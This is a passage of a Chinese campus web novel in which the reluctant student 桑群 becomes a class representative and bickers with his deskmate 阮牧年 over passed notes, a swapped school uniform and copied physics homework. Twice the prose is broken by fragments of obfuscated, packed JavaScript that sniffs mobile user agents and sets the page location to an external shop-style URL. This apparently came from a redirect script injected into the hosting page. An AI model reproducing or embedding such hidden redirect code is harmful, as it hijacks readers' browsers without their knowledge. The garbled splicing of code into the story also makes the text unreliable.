桑群:“?” 不对,好像有点不妙。 吴老师是个面相憨厚的男老师,笑眯眯地跟他打招呼:“你就是我的课代表啦?桑群,对吧?” 桑群:“……啊。” 不是,真选中了? 不应该吧,阮牧年推荐他就跟个玩笑似的,这也有人投票??? “以前没做过班委吧?没事,一点点适应哈,”吴老师乐呵呵地说,“我对你有印象啊,就上学期期末政治那道大题,出得刁钻了一点,想考考大家的功底,结果还真有人拿了满分,是你吧?” 哪题?桑群顶着一头雾水回答:“……可能吧。” “哈哈还谦虚呢,你那道题的思路我还记得呢,角度很新颖啊,我们教研组组长都舍不得给你扣分,”吴老师非常亲切近人,桑群算是知道什么叫被自来熟支配的恐惧,“我也很好奇,你是怎么想到这样写的呢?” 桑群心说,我比你更好奇。 他想了想,憋出了三个字:“……乱写的。” 话音刚落,旁听的班主任就不轻不重拍了一下他的肩膀:“好好回答。” 桑群:“……” 他能怎么回答?到底是哪道倒霉题目害他在老师面前留下了印象,乱写也要编个原因出来,简直没天理。 吴老师倒是不生气:“哈哈没事,这说明你的政治直觉很好啊,思维很敏捷。” 桑群干站在一旁,不知道怎么回应。 总觉得吴老师自己一个人也能继续说下去。 事实的确如此,吴老师收拾了一下桌上的课本和教案,捧着保温杯站起来,又接着说:“好了,第一节是政治课,我给大家打印了一些资料放在那边,你帮我一起抱去教室吧。” 桑群:“哦。” 吴老师走在前面,桑群抱着资料跟着,看着还算和谐,班主任欣慰道:“好好干。” 桑群:“……哦。” 可恶的阮牧年。 兴许是摸清这位学生不爱开口的性子,路上吴老师没再乱起话题,桑群短暂地松了口气。 到了教室前门,桑群犹豫了一下,跟着进去了。 待会儿还要绕道回去,麻烦。 “同学们早上好啊,哈哈上周我们浅浅互相认识了一下,这周呢就要正式开始咱们的课程哈……” 吴老师站在讲台上做开场白,桑群站在台阶底下,能察觉到班上大多数目光都在往他身上瞥。 所以他要干嘛? 傻站着当吉祥物吗? 开头告一段落,吴老师终于转向他:“那麻烦课代表帮忙发一下资料吧。” 桑群站在教室前门,没动。 不是不想发,而是……怎么发? 他的目光飘向第一组第一位同学,跟人家大眼瞪小眼了两秒。 “发啊,”那位同学的同桌小声说,“桑哥。” 应该是从第一个开始,桑群走过去,那位同学伸出手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356292|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 桑群抽出一张放在他手上。 同学:“……” “不是哥,”那同学压低声音疯狂提醒,“一组一组发啊,点一下每列人数!” 原来如此。 桑群:“哦。” 每列人数……六个,好的数六张,这下应该对了。 那同学又还给他一张:“我已经有了桑哥,给下一组吧。” 啧。 第二列数一下……也是六个,好的数六张。 第三列五……六个,不对最后一个位置没人,发几张? 目光从那个空位右移,桑群看见了某张熟悉的面孔。 阮牧年正襟危坐,正冲他微笑。 桑群:“……” 哦,那空位是他自己的。 数六张。 旁边那人笑什么呢?嘲笑是吧? 桑群看见他阳光灿烂的样子和那身整齐的衣服就来气,谁来为他悲惨的遭遇发声? 可恶的阮牧年。 第四列数五张。 第四列第一位同学弱弱提醒他:“还少一张。” 桑群:“……” 哼,算他好运。 终于发完了八列,从没参与过班级事务的桑群感到精疲力尽。 穿过整个班级回到座位上,还没坐稳就听见旁边低低的一声轻笑。 桑群面无表情地给了他一脚。 好学生常年维持的端正姿势有一瞬间的扭曲,很快又调整回来,在老师的讲课声中记起笔记。 桑群在书包里翻了翻,课本带了,周末那三本可恨的练习册也带了。 掏出课本翻到对应页码,还没来得及看清讲的是什么,旁边飞过来一个纸团,砸在他的书上。 谁? 桑群扭头,同桌正奋笔疾书地记笔记呢。 拆开一看,一个带着阮牧年味的欠扁小人在纸上冲他呲牙大笑。 桑群:“……” 闲的。 主动送上门来?他可有好些账要算。 提起笔激情陈书阮牧年十大罪状,还没质问完毕,胳膊被人怼了怼。 抬起头,几乎所有人都在看着他。 桑群:“?” 这是干嘛。 吴老师笑眯眯重复:“那就课代表来回答一下这个问题吧。” 桑群:“……” 不是,这已经超过重点关注的范围了,是故意针对吧? 抬眼往黑板上一看,新知识点,但关联了上学期的内容,题目有点眼熟。 这诡异的问法,顿时链接了他对期末考卷的印象。 死去的记忆突然开始攻击他。 原来这就是刚才老吴一直说的那道改编题吗? 该死,他居然会做。 愧对学渣之名,桑群站起来,懊恼地说出几个关键名词,老吴大为赞赏,挥手让他坐下。 接下来,整堂课点人十次吴老师至少点了他十二次,桑群上学期说过的话都没这节课多。 导致他那张罪状书没机会写完,课中阮牧年还又扔了个纸团过来,问他上个问题的疑点。 ……天天就知道制造垃圾,一想到自己身上穿着的也是阮牧年的垃圾,桑群就感到一阵窒息。 他把纸团狠狠扔了回去。 用力过猛,纸团掉到了过道上。 而拿着课本转过弯的吴老师一眼就看见了它。 阮牧年:“……” 桑群:“…………” 15. 15 “哟,”吴老师推了推眼镜,语气挪揄,“这是在聊什么呢,今天的午饭吗?” 他弯腰把纸团捡了起来。 虽说纸团落在过道上,但比起另一侧目光好奇的同学,坐在这一侧的表情微僵的阮牧年同学显然十分可疑。 而再往他旁边瞟一瞟,还会发现一个面色凝固,手里还握着一支笔的政治课代表。 更加可疑了。 吴老师拆开纸团前,还特意往两人那边扫了一眼。 两人:“……” 其他同学们:“……” 好刺激,没等来两位大佬打得不可开交的新闻,先等到了两人上课传纸条被老师现场抓包。 所以他俩到底在传什么? 同学们好奇,吴老师也是,只见他看清纸团上的内容后,脸上的微笑几经变化,最后挑了挑眉,还是单边。 有点糟糕啊,阮牧年心想,自己一共给桑群传了两次纸团,这个到底是哪一次的?以同桌那慢吞吞的回复速度,不会是第一次吧…… 桑群也有点心虚,虽说纸条上是阮牧年提的问题,他也回答了,但鉴于对某人的怨气,后面还多添了一句…… 而吴老师看完后,居然笑了两声,缓缓把纸条叠好,还给阮牧年。 “很有意思哈,”吴老师留下五个神秘汉字,没有再过多评价纸条内容,只是说,“不过牧年以后有什么问题的话,也可以直接提出来哈,我们大家一起解决解决。” 似乎没什么事,阮牧年脸上的笑容终于化冰,接下了老师的话:“我想着比较近就直接问了,下次不会冷落吴老师你啦。” 吴老师又笑了笑,转向其他同学:“他们讨论的这个问题蛮好的,分享给大家,另外课代表的回答也很不错,我呢再从其他角度做一下补充……” 原来只是在讨论问题。 大家高涨的好奇心瞬间熄灭,倒是符合人设,还以为是什么大事呢。 阮牧年也松了口气,却发现旁边的桑群依然非常僵硬。 这是怎么了,当众出丑觉得尴尬吗? 还好吧,不就是讨论了一个…… 阮牧年边想边拆开那张叠好的纸条,看清上面的内容后,好不容易恢复的笑容又有一些崩塌。 桑群确实回答了他的问题。 只是。 【这也问,你洗完头都是沥干的吗】 桑群如是写道。 后面还附了一个歪七扭八的翻白眼小人。 阮牧年:“……” 完了,这下是真社死了。 旁边的罪魁祸首轻咳一声,支起左手手肘,掩去左边目光,眼不见为净。 阮牧年很想再砸一个纸团过去,亏他还傻乎乎地跟老师圆场,结果这人其实在纸团里骂他? 什么叫沥干?头发干了但脑子里还有水是吗? 真会骂人啊桑群群。 舔一下嘴能把自己毒死吧。 趁老师背过去板书的机会,旁边又砸了一个纸团过来。 这次是那个大笑小人的纸团,桑某对此做出了长达几百字的回(控)复(诉)。 嗯? 阮牧年后知后觉,原来自己穿的是桑群的校服吗? 嘶,他还以为是桑群帮他熨好的呢。 好吧,似乎确实是他有错在先,但这人乱骂人的事也不能就这么算了,一码归一码。 还没想好怎么回复这张罪状书,外套衣兜忽然变重,余光一瞥,桑群面无表情地盯着台上的老师,手在底下从他的兜里完成了校徽偷渡任务。 啊。 所以他没戴校徽进的校门?方才听刘嘉说典礼一解散桑群就被班主任带走了,他还以为只是交代班委相关的事情。 想想班主任,再想想没戴校徽的桑某。 那他很惨了。 算了算了,某人嘴毒也不是一次两次了,原谅他吧,毕竟这么可怜。 还不知道阮牧年单方面对他进行了一次原谅,桑群心里的怨气可没散。 没校服穿,校徽失踪,莫名当上班委,抛纸团被抓……一切的一切,都离不开坐在他旁边那个笑面春风的始作俑者。 可恶的阮牧年。 一直到下课,桑群都不想理他。 吴老师挥挥手,叫他上来布置作业,又去了趟办公室,熟悉一下政治材料一般放在哪里,这学期的练习册和时事杂志什么时候领取,还有什么注意事项。 总之非常麻烦,桑群刚上任就想辞职。 班主任倒是很悠哉地喝了十分钟的咖啡,看到桑群戴好了校徽也很满意,快上课了还招呼他:“走吧,下节是物理课,周末作业写完了吗?” 桑群:“……写完了。” 好险,还好被阮牧年逮着做了一下。 “听说你上学期从不写理科作业,我还担心呢,”张老师笑了笑,拍着他的肩膀,“很好很好,继续加油!” 桑群:“……哦。” 可恶……好吧,没那么可恶的阮牧年。 班主任上课,前几分钟惯例是要讲一讲班级事务的。果不其然,张老师直接公布了上周投票出的班委名单。 阮牧年居然不是班长,呵,侥幸罢了。 桑群往下浏览,找到了,阮牧年,什么职位? 物理课代表,很好,自己捅的刀终究还是得到了回应。 阮牧年倒是蛮意外的,挑了挑眉:“咦。” 桑群看向他,单边?跟吴老师学的? “呵。”他也挑了挑眉,左右各一次。 阮牧年注意到了他的动作,动了动右耳:“嗯?” 可恶,这就使出必杀技了,阮牧年的动耳神功他至今还未学会,惨遭落败的桑群眯起眼睛,扭过头:“哼。” 阮牧年目光移回黑板,发出胜利者的笑声:“哈。” 坐他们前面的刘嘉及其同桌:“……” 后座这俩是在用语气词进行什么加密对话吗? 讲台上的张老师又宣布了一个噩耗:“接下来的每次物理作业,大家都要及时完成,我会让课代表收上来检查大家的完成情况……牧年,今天大课间帮我收一下周末的物理作业。” 阮牧年点头:“好的老师。” 大课间特指早上第二节课下课后,长达30分钟的课间,一般会安排跑操活动。这学期的安排还没下来,大课间成了同学们开学限定的欢乐时光。 班主任下课走后,教室里顿时响起同学们此起彼伏的哀嚎,偷懒没写作业的人补的补、抄的抄,写完的人幸灾乐祸看热闹,闹哄哄的。 没多久,阮牧年从老师办公室回来,敲了敲讲台,尽力捞同胞们最后一把:“每组第一个收一下物理作业哈,没写的赶紧补一下,体育课之前要收齐的。” 体育课是周一早上的最后一节课。 赶作业的时限一下被放宽,被捞的同学们感激不尽,哀嚎瞬间少了很多。 嘁,这就被收买了。 被物代周末手把手捞过的六爷表示不屑,起身出门上厕所。 有几组收齐交了上来,阮牧年简单整理了一下,堆在课桌角落,环顾教室找了找学习委员。 学习委员:“怎么了,牧年?” “班主任说,过两周要准备黑板报评选,”阮牧年说,“后黑板的作业要重新规划地方写了,你记得跟文娱委员商量一下。” “OKOK,对了,今晚物理啥作业。” 每个班总有那么几个喜欢提前找课代表问作业的好学分子,学委也不遑多让,再加上他本来就是阮牧年高一的同班同学,问得更加自然。 “练习册都交上去了,能写什么?”阮牧年笑了笑,“反正是不能提前写了,等我下午发吧。” 学委遗憾:“行吧行吧。” 回到座位上,桑群桌前站着一个矮个女生,犹犹豫豫的。 阮牧年问:“怎么了?” “啊,牧年,”女生眼睛一亮,“你知道六……呃,桑群同学去哪儿了吗?我们组就剩他的作业了。” “哦,可能是上厕所去了,”阮牧年弯腰,径直从同桌的桌洞里面掏出物理作业,整个动作自然流畅,“你直接交给我吧。” “啊哦哦。” 女生把手里的练习册一起递过去。 走的时候她还在疑惑,不是传闻这俩不合吗,阮牧年怎么知道桑群的作业放在哪里? 前桌刘嘉一脸惊恐地看向他:“牧年,你……” 阮牧年莫名其妙:“嗯?” “我听六班的说,六爷有严重的洁癖和强迫症,特别讨厌别人动他的东西,”刘嘉冷汗直冒,压低声音提醒他,“你这个……” 那确实,自己的衣服都不配跟他的一个衣柜呢。 “哦,没事,”阮牧年随手理了理,笑说,“他看不出来。” 一道冷淡嗓音适时响起:“你在干什么?” 刘嘉:“……” 什么叫上秒讲坏话,下秒阎王到啊。 “回来了啊,”阮牧年若无其事道,“下次收作业的时候,练习册放桌上了再走。” 不愧是一哥,这魄力,丝毫不畏强权,还教强权做人。 桑群看了自己抽屉一眼,瞬间想到了家里那坨破烂衣服,一阵烦躁:“别乱动。” 完了完了,六爷这样子完全是怒了啊。 刘嘉心里的画外音紧张得乱成一团。 这语气,阮牧年顿时回想到被骂沥干时的不爽,回他:“动一下怎么了。” 还敢顶嘴,这人知道自己身上穿着谁的衣服吗,桑群眯起眼压低声调:“你可以试试。” 眼看后座大战一触即发,刘嘉急中生智,抓着一本数学练习册就凑了过来:“牧年!那个那个那个,你帮我看看这题咋做呗?” 幸好阮牧年还听得进人话,扭过头:“哪题?” “就是……”刘嘉想把作业本递过去,却被山一样高的物理练习册挡住了,“呃,这堆物理作业……” “桑群,”阮牧年说,“脚拿开。” 桑群靠坐在椅子上,斜睨过来:“凭什么。” “作业堆桌上碍事,我放地上。” “关我屁事。” 阮牧年说拿开就拿开,那他岂不是很没面子? 两人针锋相对,只有可怜的前桌欲哭无泪,明明是想救个火,怎么还越烧越大了? 关他屁事?某人37°的嘴是怎么说出这么冷酷的话,阮牧年眯起眼,用目光无声威胁:你中午是想吃窝窝头吗? 瞪眼跟小猫挠人似的,桑群冷哼,回他一记眼刀:等下次自己洗头洗澡,你就老实了。 刘嘉还想再挽救一下,他同桌拉了拉他,摆手示意不要多事。 两人现在胶着的状态正好平衡,贸然打破恐生事端。 最后是上课铃拯救了惶惶不安的刘嘉同桌两人,后座的硝烟弥漫渐渐演变成诡异安静。 终于捱到体育课,碍眼的物理作业被搬去办公室,同学们也纷纷收拾书包奔向操场的怀抱,教室一下子空了大半。 阮牧年回来的时候,桑群早就走了,他简单收拾了一下书包,把某人遗忘的水壶一块捎上,下楼上体育课。 相比于初中,高中没有体考的压力,体育课程相当轻松自在。 简单的拉伸之后,体育老师挥手宣布自由活动 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队友们欢呼着过来跟他对拳击掌,另一队不服:“下局让牧年来我们这儿啊,风头都让你们抢了。” “哎呦,人不行别怪路不平啊,”刘嘉喊回去,“你们不还有体委吗?” 体委嫌弃摇头:“带不动,根本带不动。” 一块乐了一会儿,阮牧年拍了拍刘嘉的肩膀,道:“我去喝水休息一下,你们换人上啊。” “好嘞,歇会儿去吧。” 拿到水壶喝了几口,阮牧年绕到行政楼后面,那里有一片植物园,花花草草,还有凉亭、小溪流和假山什么的。 假山造势奇特,有一侧凹进去,面树对水背楼,非常隐秘,很少有人知道这里。 过去一看,桑群果然坐在那里,正闭目休憩。 阮牧年朝他走去,还没靠近就听见某人冷淡的话音。 “臭,”桑群闭着眼说,“离我远点。” 那更要靠近了,阮牧年挨着他坐下,抱住他的胳膊:“臭死你。” 其实不臭,桑群只是讨厌汗湿的触感,但阮牧年一旦黏起来是真的甩不掉,他随便挣扎了两下就作罢。 刚运动完,阮牧年也热,没贴一会儿就自己松开了,拿着校服外套和水壶,另一只手扇风:“这儿真凉快啊。” “三十几度,大操场打球,呵。” “熟悉熟悉,大家以后都是同学嘛,”阮牧年说,“倒是你,一早上冲我撒什么气呢?” “撒气?”桑群气笑了,“到底是谁有错在先?” “虽然穿走了你的衣服,”阮牧年底气不足但理足,“但也没让你沦落到衣不蔽体的地步吧?” 桑群:“衣服还我。” “现在?”阮牧年有些犹豫,虽说这里很隐秘,但好歹也是在校园里面,“不太合适吧,我还流汗了呢。” “等你下次洗澡脱下来,再一不小心拿去搓了,”桑群冷声,“我俩一块完蛋吧。” “呃,”阮牧年心虚,“我虽然手法粗糙了一点,但也还好吧……” 桑群冷讽:“去建个牧年工程吧,山区孩子会感谢你的。” 被阮牧年搓烂的衣服多得都可以捐了。 阮牧年:“……你一天不嘲讽别人是不是会死。” 桑群:“没有别人,只针对你。” 阮牧年:“我谢谢你。” “不客气。” 桑群站起来,拍了拍裤子:“走。” 阮牧年:“去哪儿?” “水壶放这,”桑群说,“去厕所。” 阮牧年:“……” 不是,他来真的? 被桑群揪着脖子丢进隔间的时候,阮牧年还在负隅顽抗:“你这是校园霸凌!” 桑群踹了他一脚,也挤进来关上隔间门:“你再说一遍。” “……霸凌,”阮牧年小声哼哼,“我要告到中央。” “去呗,”桑群抱臂,某人也就这点用嘴叭叭的实力了,“脱了。” 阮牧年忍辱负重,怒而……没怒成,用力到一半就被桑群卸力了,叫他别弄坏衣服。 “还你还你还你,”阮牧年把衣服推过去,“你自己摸摸,我真流汗了,有本事你就穿。” 桑群把失而复得的衣服挂到隔间钩子上,抓着后领脱掉身上的衣服。 终于远离忍了一早上的破烂,桑群把衣服丢过去,顿觉神清气爽。 阮牧年看着他:“你干嘛。” 只见桑某压根没有把自己的短袖校服穿回去的意思,套上外套拉上拉链,插着兜冲他抬了抬下巴:“衣服穿上。” 事儿精,宁愿不穿也嫌弃他的衣服,阮牧年边穿边问:“那挂着的怎么办?” “塞你书包里带回去。” “为什么是我书包?” “你书包哪次是自己拎的?” “……哦,是哦。” 穿完衣服,你推我搡地走出厕所,阮牧年看了眼时间:“书包交给你了,我待会儿要去点一份材料,可能回去得晚,你先午睡。” “晚回的话,做饭来不及吧,”桑群说,“今天吃路口的馄饨得了。” “行,”阮牧年笑了笑,“好久没吃了呀,记得不要加蒜不要加葱哦。” 桑群点头:“知道。” 两人在绿化丛边分开,阮牧年沿着小道往外走,行政楼一楼就有打印室,班主任就是让他来这里领。 一道明快好听的声音在不远处响起:“牧年,这边!” 16. 16 女生扎着低马尾,发梢微卷,笑着冲他招手。 有点面熟,但一时想不起来是谁,应该不是以前本班和隔壁班的,阮牧年想着,脸上带笑回应:“嗨。” 好在对方先进行了自我介绍:“程抒晴,我是一班物理课代表,张老师让我们来点材料,对吧?” 张老师教两个班,分别是全理科一班和物化政三班。 “叫我抒晴就好啦,”程抒晴说,“我上学期是三班的。” 话题打开,天就好聊了,阮牧年笑着说:“原来如此,我差点以为你是二班的,毕竟一眼就认出我了哈哈。” “要这么说,整个年段不能一眼就认出你的人可不多啊,”程抒晴跟他边走边说,“对了,张老师说要点几份来着?” “说是先把全年段的点到办公室,到时候再让各班课代表过来领,”阮牧年估摸着,“咱们年段三百人,多点几份,310张吧。” “OK。” 走到打印室,材料早已印好堆在桌边,工作人员拿着旧纸皮摊在桌上:“点好放这上面拎走。” 阮牧年:“请再帮我们拿一张纸皮吧,两个人拎。” 程抒晴绕到那边看了看材料:“哇塞,一开学就这么多题量吗,一份卷子两张8开。” 阮牧年愣了愣:“两张吗?” “是啊,”程抒晴说,“我们得搬620张啊。” ……当代学生的脊梁都是被试卷压垮的。 阮牧年捂着额角叹气:“先点吧。” 两人开始了沉默且飞速的点卷子行动,常年当班委的总会掌握一些飞快的点卷子技巧,既能点清数量还能分组发放。 点到一半阮牧年不禁想到,按某人发材料都不知道按组发放的智商,到时候是不是得一张一张地数到猴年马月啊? 有点好笑,不对,上一张是第几张来着? 都怪桑群,害他走神了。 胡想害人,程抒晴那边道:“我点完了,310张。” 慢了两拍后,阮牧年也卷起一沓试卷道:“我也是,放纸皮上吧。” 放好后,阮牧年从另一堆匀了一半放到自己这一堆来:“我多拿一点。” 说着又抬头问工作人员:“姐,可以麻烦帮我们捆起来嘛?” 有礼貌的小伙子总是受人喜欢,大姐不仅捆了,还编了一个用来手提的圈:“来,拿好。” “谢谢姐,”阮牧年笑着向工作人员道谢,回头道,“走吧。” 走出行政楼后,程抒晴才道:“哇,我觉得她们说得很对。” 阮牧年:“嗯?” “说你很会做人啊,”程抒晴笑了笑,“那个大姐看着比我妈年纪还大,如果我上去的话,可能只会喊阿姨……” 阮牧年忍俊不禁:“往年轻了喊总会让人心情愉悦嘛。” “这倒是啦,”程抒晴点点头,又道,“对了,你刚刚有没有看到,卷子里面的第16题。” 阮牧年瞬间明白她想说什么:“去年联考的改编题,对吧?” “没错没错,你也认出来了啊,”程抒晴目光闪闪,“据说超——难。” “我之前好像做过,”阮牧年说,“不过我看张老师似乎改了个条件,应该会比较贴合我们年段的水平。” 没想到程抒晴也是物理爱好者,两人很聊得来,阮牧年很少会遇到这么投机的朋友,毕竟围在身边的桑群是个大笨蛋。 此刻学校早已下课,老师办公室空无一人。两人放好材料,就准备走了。 临别前,阮牧年得知对方上学期期末的物理成绩居然还高他0.5分。 “这就是选全理的实力吗。” 程抒晴笑笑:“哈哈差距也不大啊,感觉很悬,说不定下次就被赶超了。” “托你吉言,我会努力的,”阮牧年跟她挥手告别,“再见。” 回到家里,桑群坐在沙发上,小茶几上的馄饨热气腾腾,浓郁的鲜香弥漫客厅。 “好香,”阮牧年咽了咽口水,把书包扔在书桌椅上,眼巴巴凑过来,“我的呢我的呢。” “少不了你的,急什么,”桑群把另一袋没拆开的打包盒推过来,说,“买了三份,一人一半。” 这家的馄饨很好吃,用阮牧年的话来说——非常温暖,包裹的肉馅不会喧宾夺主,反而突出了馄饨绵软热烫的特点,如果是在冬天吃上一碗,能让人一整天都感觉暖洋洋的。 尽管现在不是冬天,它的魅力依旧不减。 清汤也很有滋味,加点醋或者酱油,非常好喝。 “这么饿,”桑群吃完了自己那一份,开始拆第二份,“这碗都给你?” “我运动了呀,刚也去做了体力活,”阮牧年边吃边说,“没事,你没吃饱就继续吃。” 对于正在长身体的男生而言,一份当然不够。桑群没客气,把属于自己的0.5份吃完,剩了一半留给阮牧年。 “早点去床上睡,塑料袋打结放桌上就可以,”桑群起身,把身上的外套脱了,“我去洗衣服。” “好哦,”阮牧年说,“周末的衣服也拜托你啦。” “哼。” 昨晚赶演讲稿赶到凌晨,是得好好午睡一下。桑群拎着收起来的干衣物进卧室,床上的人已经陷入深眠。 他轻手轻脚给衣柜腾出一个格子,暂时存放那些皱巴巴的衣服,心里盘算着是不是得买个熨斗拯救一下。 ……还是买个洗衣机一劳永逸呢? 没想出个结果,走到床边帮某人掖了掖被子,阮牧年的脸半埋在被褥里,睡相很软。 但实际上很不安分,没人抱着就会乱翻,喜欢埋着脸,被子全堆身前抱着,背后总是漏风。 走出卧室,桑群把门带上,只留了一条缝——外头的阳光很大。 午休时间没剩多少了,把桌上垃圾收拾到一起捆好,放到玄关,桑群看了眼时间。 新学期开学,有件事总要商量一下。 他倚靠着门板,拨通了一个电话。 响了几声才接通。 “喂,”桑群垂着眼,左手指甲抠着门板上凹凸不平的纹路,“妈。” 他的声音很低,尽管周围没人,玄关这里也不会吵到卧室里的阮牧年。 “这学期的晚自习我还是不去了,”桑群说,“这样晚上能多帮你一点。” 那头的声音尽数落在桑群耳里,没有泄漏出半点。 正午的烈阳光线强烈,半空中无数微小的漂浮杂质在飞舞,整个空间静谧无声。 好半晌,桑群才继续开口:“我跟年年坐同桌了,作业的事你不用担心。” 那边又说了一句,桑群轻轻嗯了一声:“注意身体,别不吃晚饭。我们都挺好的。” 说了几句,电话挂掉了,但他没动,靠在原地又待了好久。 上学期他虽然也不写作业,但班主任管了几次就懒得管了,没把事情捅到他妈面前。 感觉现在的班主任张老师不太好糊弄啊。 桑群揉了揉眉心,准备到点去叫阮牧年起床。 至于作业……走一步看一步吧。 大刀阔斧想做出什么成就,大概是多数新人老师都有的野心。 阮牧年理解尊重,也配合老师每天收齐作业。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356294|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总有人没写完,他尽量拖延上交时间,给同学们补作业的机会。 新上任的政治课代表也表现得还算勤勉,至少会把每节课布置的作业写在黑板上。 哦,还会分资料,很厉害呢。 感觉可以很安顺地度过一个平静的学期。 然而周四上午,有人在教室后门找阮牧年。 他走过去,发现是一班物代。 程抒晴面色凝重地站在那里,看向他的目光带着担忧。 “怎么了?” “张老师叫你去趟办公室,”她顿了顿,意有所指,“你们班的作业……你做好心理准备。” 出什么岔子了吗? 虽说有些不安,但毕竟做了这么多年的班委,阮牧年自认心理承受能力还算不错。 只是这一次,好像闹得有点大。 办公桌前,张老师拿着红笔飞快批改着物理题。 “23.4米,加速度不变,合外力17N,”她口中念念有词,画上几个打勾,然后冷笑一声,把作业本合上甩到另一堆应该是批改完的本子上,“答案一样,公式一样,连解题步骤都一模一样。” 班主任的眼神实在可怕,阮牧年迟疑地叫了一声:“老师。” “牧年,你来了,”班主任靠在椅背里,支着额头揉太阳穴,“我们班这次的作业……我不想说了,你自己看吧。” 难道是抄答案被发现了?还是谁没做作业? 阮牧年翻开最上面的几本,都有做,答案也没错,看着完成挺好的。 “呃,”他想了想,拎出三本,“这几本答案雷同?” “全班48本作业,”张老师疲惫的声音从椅上传来,“能看出是自己思考自己做题的只有12本,剩下的要么抄答案,要么逮着一个错误思路一起抄,要么只写答案没有过程,要么干脆一个字不写!这就是他们对物理的态度?这就是他们对学习的态度?” 嘶,有点糟糕啊,几乎四分之三的作业都不合格。 “我能理解有些题目可能不好做,所以没把答案收起来,”张老师说,“可他们却拿去应付作业,应付老师!答案解题步骤抄一抄,给自己打个大大的勾,真以为老师看不出来吗?” 阮牧年站在一边,不敢贸然打扰正在气头上的班主任。 “抄答案、抄同学,或者乱写,每个班都会有那么几个,我也能理解,”张老师继续说,“可我们班却出现了三十几个!是我的教学方法出问题了吗?还是大家对我不满,迁怒到作业上?牧年,你觉得这学期的物理课程怎么样?” 什么烫手山芋,阮牧年硬着头皮答道:“啊,我觉得挺好的,老师你讲的例子也很透彻。不过听课感想这种东西应该因人而异吧,每个人的基础也不太一样。嗯,我感觉大家也不是对老师有什么不满所以故意报复这样……” “我教学时间不长,但也有四年了,”张老师怒气未消,“从没改过这么糟糕的作业!” 救命,阮牧年心累地想,课代表也不是什么好干的活儿啊,得直面老师的怒火,更遑论这是班主任。 “前几天的作业也没有敷衍到这个程度,今天刚收上来的这份让我很失望,”张老师坐直,开始在办公桌上翻找,“还有一份最头疼的作业,简直让人火大!” “一开始勉勉强强写了,后面开始抄答案,再后面只有答案,到昨天开始放空不写,”张老师抽出那本作业甩在阮牧年面前,“你看看!” 谁啊这么倒霉。 阮牧年翻开第一页一看,差点心脏骤停。 那上面潇洒地写着两个大字。 桑群。 17. 17 阮牧年在心里疯狂掐人中。 偷偷包庇可以,但光明正大舞到班主任面前,兄弟再神通广大也救不了你啊。 这几天问他作业都说有写完,结果就是这种质量? 张老师戳着作业纸页,一字一顿道:“这种作业,还有班上其他滥竽充数的,接下来我都会重点关注。牧年,辛苦你帮我列一下名单了。” 阮牧年点头:“嗯嗯。” “当然了,学生会交出这种作业,”张老师长叹一口气,情绪没有先前那么激动了,“我当老师的也得反省。牧年,你跟我说实话吧,大家对物理有什么不满意的地方?你放心说,不用有什么顾虑。” 这怎么随便说,阮牧年微笑,大脑疾速运转,斟酌着说:“呃,其实我觉得没有什么大问题,可能是刚接触不太适应您的教学风格,也可能每天都有物理作业所以做不过来……” 这话也没错,昨天周三没有物理课,但张老师还是布置了作业,想来大部分同学应付作业的原因在此。 张老师支着额头,思忖了一会儿,点点头:“我知道了。这边的作业已经改完,辛苦你搬去发了。另外,最后一节自习课叫桑群来我办公室一趟吧。” 阮牧年点到一半的头顿了顿,有些迟疑:“啊。” “怎么,”张老师的目光很快犀利地看过来,问,“他今天也不在吗?” 糟了,看这反应,班主任恐怕早就知道桑群每节自习课都会翘掉的习惯。 “我会叫他来的,”阮牧年说,“如果他早上没来的话,那我下午再叫一遍。” 也不奢望课代表真能叫动那尊我行我素的大神,班主任疲惫地点点头,让他回教室了。 现在是第三节课课间,阮牧年搬着作业从后门进来的时候,后面的过道留着一半空位,同桌正趴在座位上补觉。 这些天他很少跟桑群互道晚安,后者回来得很晚,那时他通常早已睡下。 以前不是没出现过类似的事情,老师忍无可忍喊桑群面谈之类的,但最后都会被他挡回去,不知用了什么办法。 张老师是很不一样的,但桑群同样不会轻易对别人敞开心扉。 真是难办啊。 把写好提醒的纸条塞到桑群的课本底下,阮牧年走向讲台发作业。 不知道桑群会不会去办公室,他走后课本里夹的纸条已经不见了,但没什么重要的事,桑群一般不会改变自己的计划。 午休回出租屋,桑群整个中午都没回来。 虽说他提前交代过不用做他的午饭,阮牧年还是有些担心。 下午看见他精神良好地坐在座位上,阮牧年稍松口气,在他旁边坐下,低声问:“班主任怎么说?” 桑群抬头,眼带疑惑:“什么班主任。” 阮牧年:“……” 阮牧年:“我早上塞给你的纸条没看?” 上课不好沟通,下课某人又睡得香甜,他特地用纸条交流,这人居然没看到? “纸条?”桑群回忆,“我还以为是草稿垃圾,直接扔了。” 阮牧年:“……” 完了,某人这算是直接放了班主任的鸽子。 “……总之待会儿有空你赶紧去一趟办公室吧,”大致交代了一下早上的情况,阮牧年扶额道,“做好心理准备,张老师不是能随便搪塞过去的人。” 桑群:“哦。” 总会有一些同理心过强的老师想拉他一把,或许拯救一名叛逆学生能给人带来成就感吧。 见怪不怪。 本是这样想的,但没想到见班主任的第一句话,就短暂地让他惊诧了一下。 “桑群同学,”张老师坐在办公椅上,平和地看着他,问,“家里是有什么困难吗?” “什么,”怔了怔,桑群下意识蹙眉,道,“没有。” 